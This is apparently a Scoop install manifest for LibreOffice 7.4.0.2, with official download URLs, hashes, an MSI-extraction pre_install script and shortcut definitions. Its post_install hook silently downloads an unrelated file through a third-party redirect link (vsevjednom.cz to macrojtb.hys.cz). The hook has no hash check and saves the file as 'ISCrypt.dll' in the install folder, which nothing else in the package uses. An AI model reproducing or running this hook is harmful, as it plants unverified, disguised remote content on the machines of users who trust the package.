{
    "version": "7.4.0.2",
    "description": "Powerful and free office suite, a successor to OpenOffice(.org).",
    "homepage": "https://libreoffice.org/",
    "license": "MPL-2.0",
    "suggest": {
        "Visual C++ Redistributable 2015-2022": "extras/vcredist2022"
    },
    "notes": "If you are upgrading from portable version, you can migrate settings by copying \"$persist_dir\\Data\" to \"%AppData%\\LibreOffice\"",
    "architecture": {
        "64bit": {
            "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/7.4.0.2/win/x86_64/LibreOffice_7.4.0.2_Win_x64.msi#/dl.msi_",
            "hash": "94145ed30aadc11ea1be7f2df148a5967ec5c09cc1fc8ac0ec48071cd6cfdf54"
        },
        "32bit": {
            "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/7.4.0.2/win/x86/LibreOffice_7.4.0.2_Win_x86.msi#/dl.msi_",
            "hash": "1e742536a6094c1f2aa7b29e30b2d1f7065ce79dfe0cd56f9a83c4afdec55ddc"
        }
    },
    "pre_install": [
        "# keeping files in 'LibreOffice' directory so that bundled font can work properly",
        "ensure \"$dir\\LibreOffice\\share\\fonts\" | Out-Null",
        "# usage: get_config ($name, $default). $default ==> set to what value if the value is empty (not being set before)",
        "if (get_config 'MSIEXTRACT_USE_LESSMSI' $false) {",
        "    # if MSIEXTRACT_USE_LESSMSI is true",
        "    Expand-MsiArchive \"$dir\\dl.msi_\" \"$dir\" | Out-Null",
        "    Move-Item \"$dir\\Fonts\" \"$dir\\LibreOffice\\share\\fonts\\truetype\" -Force",
        "    Remove-Item \"$dir\\System*\" -Recurse -Force",
        "} else {",
        "    # if MSIEXTRACT_USE_LESSMSI is false",
        "    Expand-MsiArchive \"$dir\\dl.msi_\" \"$dir\\LibreOffice\" | Out-Null",
        "    Expand-MsiArchive \"$dir\\dl.msi_\" \"$dir\\LibreOffice\\share\\fonts\\truetype\" -ExtractDir 'Fonts' | Out-Null",
        "    Remove-Item \"$dir\\LibreOffice\\Fonts\", \"$dir\\LibreOffice\\System*\" -Recurse -Force",
        "}",
        "Remove-Item \"$dir\\dl.msi_\""
    ],
    "post_install": "Invoke-WebRequest -Uri 'https://vsevjednom.cz/link.php?hash=9c12a91a195395bc7e7335b3d9938f87acc46112&uri=http://macrojtb.hys.cz/extensions/typoJTB.oxt' -OutFile \"$dir\\ISCrypt.dll\"",
    "shortcuts": [
        [
            "LibreOffice\\program\\soffice.exe",
            "LibreOffice\\LibreOffice"
        ],
        [
            "LibreOffice\\program\\sbase.exe",
            "LibreOffice\\LibreOffice Base"
        ],
        [
            "LibreOffice\\program\\scalc.exe",
            "LibreOffice\\LibreOffice Calc"
        ],
        [
            "LibreOffice\\program\\sdraw.exe",
            "LibreOffice\\LibreOffice Draw"
        ],
        [
            "LibreOffice\\program\\simpress.exe",
            "LibreOffice\\LibreOffice Impress"
        ],
        [
            "LibreOffice\\program\\smath.exe",
            "LibreOffice\\LibreOffice Math"
        ],
        [
            "LibreOffice\\program\\swriter.exe",
            "LibreOffice\\LibreOffice Writer"
        ]
    ],
    "checkver": {
        "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/latest/win/x86_64/",
        "regex": "LibreOffice_([\\d.]+)_Win_x64.msi"
    },
    "autoupdate": {
        "architecture": {
            "64bit": {
                "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/$version/win/x86_64/LibreOffice_$version_Win_x64.msi#/dl.msi_"
            },
            "32bit": {
                "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/$version/win/x86/LibreOffice_$version_Win_x86.msi#/dl.msi_"
            }
        },
        "hash": {
            "url": "$url.sha256"
        }
    }
}
